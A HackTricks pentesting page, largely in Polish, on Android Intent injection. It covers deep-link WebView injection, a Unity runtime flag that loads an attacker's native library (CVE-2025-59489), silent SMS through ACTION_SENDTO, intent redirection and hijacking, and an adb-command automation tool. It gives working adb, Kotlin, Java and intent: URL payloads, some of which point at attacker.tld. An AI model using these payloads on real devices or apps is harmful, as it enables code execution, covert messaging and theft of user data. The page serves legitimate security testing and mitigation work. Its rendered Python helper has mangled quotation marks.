Intent Injection
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Intent injection wykorzystuje komponenty, które akceptują Intents kontrolowane przez atakującego lub dane, które później są konwertowane na Intents. Dwa bardzo częste scenariusze podczas Android app pentests to:
- Przekazywanie spreparowanych extras do eksportowanych Activities/Services/BroadcastReceivers, które następnie są przekazywane do uprzywilejowanych, nieeksportowanych komponentów.
- Wywoływanie eksportowanych VIEW/BROWSABLE deep linków, które przekazują URL-e kontrolowane przez atakującego do wewnętrznych WebViews lub innych wrażliwych sinks.
Deep links → WebView sink (URL parameter injection)
If an app exposes a custom scheme deep link such as:
myscheme://com.example.app/web?url=<attacker_url>
a Activity odbierająca przekazuje parametr zapytania url do WebView, możesz wymusić, aby aplikacja renderowała dowolną zdalną zawartość we własnym kontekście WebView.
PoC via adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Wpływ
- HTML/JS wykonuje się wewnątrz profilu WebView aplikacji.
- Jeśli JavaScript jest włączony (domyślnie lub z powodu nieprawidłowej kolejności sprawdzeń), możesz enumerować/wykorzystać dowolne udostępnione obiekty
@JavascriptInterface, wykraść cookies/local storage WebView i pivotować.
See also:
Błąd kolejności sprawdzeń powodujący włączenie JavaScript
Częstym błędem jest włączenie JavaScript (lub innych permisywnych ustawień WebView) zanim zakończy się ostateczna URL allowlist/weryfikacja. Jeśli wczesne helpery zaakceptują twój deep link i najpierw skonfigurowane zostanie WebView, końcowe ładowanie odbędzie się z już włączonym JavaScript, nawet jeśli późniejsze sprawdzenia są wadliwe lub zbyt późne.
Na co zwrócić uwagę w zdekompilowanym kodzie:
- Kilka helperów, które parse/split/rebuild URL w różny sposób (niespójna normalizacja).
- Wywołania
getSettings().setJavaScriptEnabled(true)przed ostatnim sprawdzeniem allowlist host/path. - Pipeline taki jak: parse → partial validate → configure WebView → final verify → loadUrl.
Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)
Aplikacje Android oparte na Unity zazwyczaj używają com.unity3d.player.UnityPlayerActivity (lub UnityPlayerGameActivity) jako entry Activity. Unity’s Android template traktuje specjalne Intent extra o nazwie unity jako ciąg flag linii poleceń dla Unity runtime. Gdy entry Activity jest exported (domyślnie w wielu szablonach), każda lokalna aplikacja – a czasem strona jeśli BROWSABLE jest obecny – może dostarczyć to extra.
Niebezpieczna, nieudokumentowana flaga prowadzi do wykonania kodu natywnego podczas bardzo wczesnej inicjalizacji procesu:
- Ukryta flaga:
-xrsdk-pre-init-library <absolute-path> - Efekt:
dlopen(<absolute-path>, RTLD_NOW)bardzo wcześnie w init, ładując kontrolowany przez atakującego ELF wewnątrz procesu docelowej aplikacji z jej UID i uprawnieniami.
Fragment reverse-engineeringu (uproszczony):
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
Dlaczego to działa
- The Intent extra
unityjest parsowana na flagi runtime Unity. - Podanie pre-init flag wskazuje Unity na attacker-controlled ELF path mieszczący się w dozwolonej linker namespace path (zobacz ograniczenia poniżej).
Warunki eksploatacji
- The Unity entry Activity jest exported (zwykle prawda domyślnie).
- For one-click remote via browser: entry Activity również deklaruje
android.intent.category.BROWSABLE, dzięki czemu extras mogą być przekazane zintent:URL.
Lokalna eksploatacja (to samo urządzenie)
- Umieść payload ELF w ścieżce dostępnej dla victim app. Najłatwiej: ship a malicious library w swoim attacker app i upewnij się, że jest wyekstrahowana pod
/data/app/.../lib/<abi>/poprzez ustawienie w attacker’s manifest:
<application android:extractNativeLibs="true" ...>
- Uruchom aktywność Unity ofiary z flagą pre-init CLI w extra
unity. Przykładowy ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
- Unity calls
dlopen("/data/.../libpayload.so", RTLD_NOW); twój payload uruchamia się w procesie ofiary, dziedzicząc wszystkie uprawnienia aplikacji (kamera/mikrofon/sieć/pamięć itp.) oraz dostęp do sesji/danych w aplikacji.
Notes
- Dokładna ścieżka
/data/app/...różni się w zależności od urządzenia/instalacji. Aplikacja atakującego może pobrać swój katalog natywnych bibliotek w czasie wykonywania za pomocągetApplicationInfo().nativeLibraryDiri przekazać go do wyzwalacza. - Plik nie musi kończyć się na
.so, jeśli jest poprawnym ELF –dlopen()zwraca uwagę na nagłówki ELF, a nie na rozszerzenia.
Remote one‑click via browser (conditional)
Jeśli aktywność wejściowa Unity jest eksportowana z BROWSABLE, strona internetowa może przekazać extras przez URL intent::
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
Jednak na nowoczesnym Androidzie przestrzenie nazw dynamicznego linkera i SELinux blokują ładowanie z wielu publicznych ścieżek (np. /sdcard/Download). Zobaczysz błędy takie jak:
library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
Strategia obejścia: celuj w aplikacje, które cachują bajty kontrolowane przez atakującego w swoim prywatnym storage (np. HTTP caches). Ponieważ dozwolone ścieżki obejmują /data i prywatny katalog aplikacji, wskazanie -xrsdk-pre-init-library na absolutną ścieżkę wewnątrz cache aplikacji może spełnić ograniczenia linker i doprowadzić do code execution. To odzwierciedla wcześniejsze wzorce cache-to-ELF RCE zaobserwowane w innych aplikacjach Android.
Confused‑Deputy: ciche SMS/MMS przez ACTION_SENDTO (Wear OS Google Messages)
Niektóre domyślne aplikacje do wiadomości błędnie automatycznie wykonują implicit messaging intents, przekształcając je w confused‑deputy primitive: każda nieuprzywilejowana aplikacja może wywołać Intent.ACTION_SENDTO z sms:, smsto:, mms:, lub mmsto: i spowodować natychmiastowe wysłanie bez interfejsu potwierdzenia i bez uprawnienia SEND_SMS.
Key points
- Wyzwalacz: niejawny
ACTION_SENDTO+ schemat URI wiadomości. - Dane: ustaw odbiorcę w URI, tekst wiadomości w dodatkowym polu
"sms_body". - Uprawnienia: brak (nie wymaga
SEND_SMS), polega na domyślnym SMS/MMS handlerze. - Zaobserwowano: Google Messages for Wear OS (patched May 2025). Inne handlery powinny być ocenione podobnie.
Minimal payload (Kotlin)
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)
ADB PoC (bez specjalnych uprawnień)
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello"
# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello"
Attack surface expansion (Wear OS)
- Każdy komponent zdolny do uruchamiania Activities może wyzwolić ten sam payload: Activities, foreground Services (with
FLAG_ACTIVITY_NEW_TASK), Tiles, Complications. - Jeśli domyślny handler automatycznie wysyła, nadużycie może być one‑tap lub całkowicie ciche z kontekstów w tle — zależnie od polityk OEM.
Pentest checklist
- Resolve
ACTION_SENDTOna celu, aby zidentyfikować domyślnego handlera; zweryfikuj, czy pokazuje compose UI czy wysyła bez interakcji. - Przetestuj wszystkie cztery schematy (
sms:,smsto:,mms:,mmsto:) oraz extras (sms_body, opcjonalniesubjectdla MMS), aby sprawdzić różnice w zachowaniu. - Weź pod uwagę charged destinations/premium‑rate numbers podczas testów na prawdziwych urządzeniach.
Inne klasyczne prymitywy Intent injection
- startActivity/sendBroadcast wykorzystujące dostarczone przez atakującego extras
Intent, które są później ponownie parsowane (Intent.parseUri(...)) i wykonywane. - Eksportowane proxy komponenty, które przekierowują Intents do nieeksportowanych wrażliwych komponentów bez sprawdzania uprawnień.
Automatyzacja testowania eksportowanych komponentów (Smali-driven ADB generation)
Gdy eksportowane komponenty oczekują specyficznych extras, zgadywanie kształtu payloadu powoduje stratę czasu i false negatives. Możesz zautomatyzować odkrywanie kluczy/typów bezpośrednio ze Smali i generować gotowe do uruchomienia komendy adb.
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Approach: decompile and scan Smali for calls like
getStringExtra("key"),getIntExtra("id", ...),getParcelableExtra("redirect_intent"),getSerializableExtra(...),getBooleanExtra(...),getAction(),getData()to infer which extras and fields are consumed by each component. - Output: for every exported Activity/Service/Receiver/Provider, the tool prints a short explanation and the exact
adb shell am .../cmd content ...command with correctly typed flags.
Instalacja
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
Użycie
python apk-components-inspector.py target.apk
Przykładowe wyjście
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
Ściągawka ADB am extras (flagi zależne od typu)
- Stringi:
--es key value| Tablica stringów:--esa key v1,v2 - Liczby całkowite:
--ei key 123| Tablica intów:--eia key 1,2,3 - Wartości logiczne:
--ez key true|false - Longi:
--el key 1234567890 - Liczby zmiennoprzecinkowe:
--ef key 1.23 - URI (extra):
--eu key content://...| Data URI (dane Intenta):-d content://... - Extra komponentu:
--ecn key com.pkg/.Cls - Extra pustego stringa:
--esn key - Typowe flagi:
-a <ACTION>-c <CATEGORY>-t <MIME>-f <FLAGS>--activity-clear-task --activity-new-task
Wskazówki dla ContentProviders
- Użyj
adb shell cmd content query|insert|update|delete ..., aby odpytać ContentProviders bez agentów. - Dla testów SQLi modyfikuj
--projectioni--where(aka selection), gdy provider korzysta z SQLite.
Automatyzacja pełnego pipeline’a (interaktywny executor)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Skrypt pomocniczy do parsowania i wykonywania poleceń adb
```python import subprocessdef parse_adb_commands(file_path): with open(file_path, ‘r’) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(“adb “): current = [s] elif s.startswith(”#“) or not s: if current: full = ’ ’.join(current).replace(” \ “, “ “).replace(”\“, “”).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ’ ’.join(current).replace(“ \ “, “ “).replace(”\“, “”).strip() commands.append(full) return commands
for i, cmd in enumerate(parse_adb_commands(‘adbcommands.txt’), 1): print(f“\nCommand {i}: {cmd}“) input(“Press Enter to execute this command…”) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(“Output:\n”, r.stdout) if r.stderr: print(“Errors:\n”, r.stderr) except subprocess.CalledProcessError as e: print(f“Command failed with error:\n{e.stderr}“)
</details>
Run on-device: the inspector is Python-based and works in Termux or rooted phones where `apktool`/`androguard` are available.
---
## Intent Redirection (CWE-926) – finding and exploiting
Wzorzec
- An exported entry point (Activity/Service/Receiver) reads an incoming Intent and forwards it internally or externally without validating source/data, e.g.:
- `startActivity(getIntent())`
- `startActivity(intent)` where `intent` came from an extra like `redirect_intent`/`next_intent`/`pending_intent` or `Intent.parseUri(...)`.
- Ufanie polom `action`/`data`/`component` bez sprawdzeń; brak weryfikacji tożsamości wywołującego.
Czego szukać w Smali/Java
- Wykorzystania `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
- Bezpośrednie wywołania `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` na Intentach kontrolowanych przez atakującego.
- Brak sprawdzeń `getCallingPackage()`/`getCallingActivity()` lub mechanizmów uprawnień.
ADB PoC templates
- Proxy Activity przekazująca dodatkowy Intent do uprzywilejowanej wewnętrznej Activity:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
- Eksportowany Service, który obsługuje parcelable
redirect_intent:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Eksportowany Receiver, który przekazuje dalej bez walidacji:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
Flagi przydatne do zachowania w stylu singleTask
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
Przykłady z rzeczywistego świata (wpływ różny):
- CVE-2024-26131 (Element Android): eksportowane przepływy prowadzące do WebView manipulation, PIN bypass, login hijack.
- CVE-2023-44121 (LG ThinQ Service): eksportowany receiver action
com.lge.lms.things.notification.ACTION→ efekty na poziomie systemu. - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): przekierowanie → dowolny dostęp do plików (z interakcją użytkownika).
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
Intent Hijacking (implicit intents)
Model zagrożenia
- App A oczekuje wrażliwego wyniku od App B za pomocą implicit Intent (np. przekierowanie OAuth, wynik wyboru dokumentu, zwrot IMAGE_CAPTURE lub niestandardowa akcja callback).
- Attacker App C publikuje eksportowany komponent z pasującym
<intent-filter>dla tej samejaction/category/data. Gdy B rozwiąże implicit Intent, resolver może wyświetlić chooser; jeśli użytkownik wybierze C (lub ustawi go jako domyślny), payload zostanie dostarczony do komponentu atakującego zamiast do A.
Minimal PoC manifest (attacker):
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>
Szkielet handlera:
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}
Uwagi
- Match specificity matters (action + categories + data). Im bardziej specyficzny filtr C względem wychodzącego Intentu B, tym większa szansa, że zostanie on wyświetlony lub wybrany automatycznie.
- Dotyczy to także deep links (
VIEW+BROWSABLE), gdy aplikacje oczekują, że inna aplikacja obsłuży URL i zwróci coś z powrotem.
Pentest guidance
- Użyj grep, aby przeszukać target w poszukiwaniu wywołań
startActivity/startActivityForResult/registerForActivityResultużywających non-explicit Intents. - Sprawdź Intents przenoszące tokeny w
extras,clipDatalubgetData()i zweryfikuj, czy aplikacja zewnętrzna mogłaby zarejestrować kompatybilny filtr. - Zaleca się zastąpienie implicit flows explicit Intents (set
setPackage()/setComponent()), lub wymaganie caller-permission/signed permissions na exported receivers/services.
Mitigations
- Preferuj explicit Intents dla wrażliwych przepływów (callbacks, tokens, auth results).
- Gdy cross-app jest konieczne, dodaj wymagania dotyczące uprawnień do komponentu odbiorczego i zweryfikuj tożsamość wywołującego.
- Ogranicz i zaostrz Intent filters tylko do tego, co jest ściśle potrzebne (scheme/host/path/MIME).
Obserwowanie decyzji resolvera (FLAG_DEBUG_LOG_RESOLUTION)
Gdy kontrolujesz nadawcę, dodaj Intent.FLAG_DEBUG_LOG_RESOLUTION do implicit Intent, aby Android logował, jak przebiega rozwiązywanie i który komponent zostanie wybrany.
Przykład:
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);
W adb logcat zobaczysz ślad rozwiązywania i końcowy komponent, np. com.android.camera2/com.android.camera.CaptureActivity.
Wskazówka CLI
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
To przydatne do enumeracji potencjalnych handlerów na urządzeniu/emulatorze oraz do potwierdzenia, który komponent dokładnie otrzyma Intent podczas testów.
Źródła
- Android – Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector – GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab – 100M installs image app deep dive (component summary example)
- CVE-2024-26131 – NVD
- CVE-2023-44121 – CVE.org
- CVE-2023-30728 – CVE.org
- CVE-2022-36837 – CVE.org
- CVE-2021-4438 – NVD
- CVE-2020-14116 – NVD
- Android Intents (1/2): how they work, security, and attack examples – Mobeta
- Android Intent reference
- CVE-2025-59489 – Arbitrary Code Execution in Unity Runtime (blog)
- Unity docs – Android custom activity command-line
- Unity Security Sept-2025-01 advisory
- HEXACON talk – Messenger one-click cache-based RCE pattern (slides)
- CVE-2025-12080 — Intent Abuse in Google Messages for Wear OS
- PoC repo – io-no/CVE-2025-12080
- Android docs – Intents and Intent Filters
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

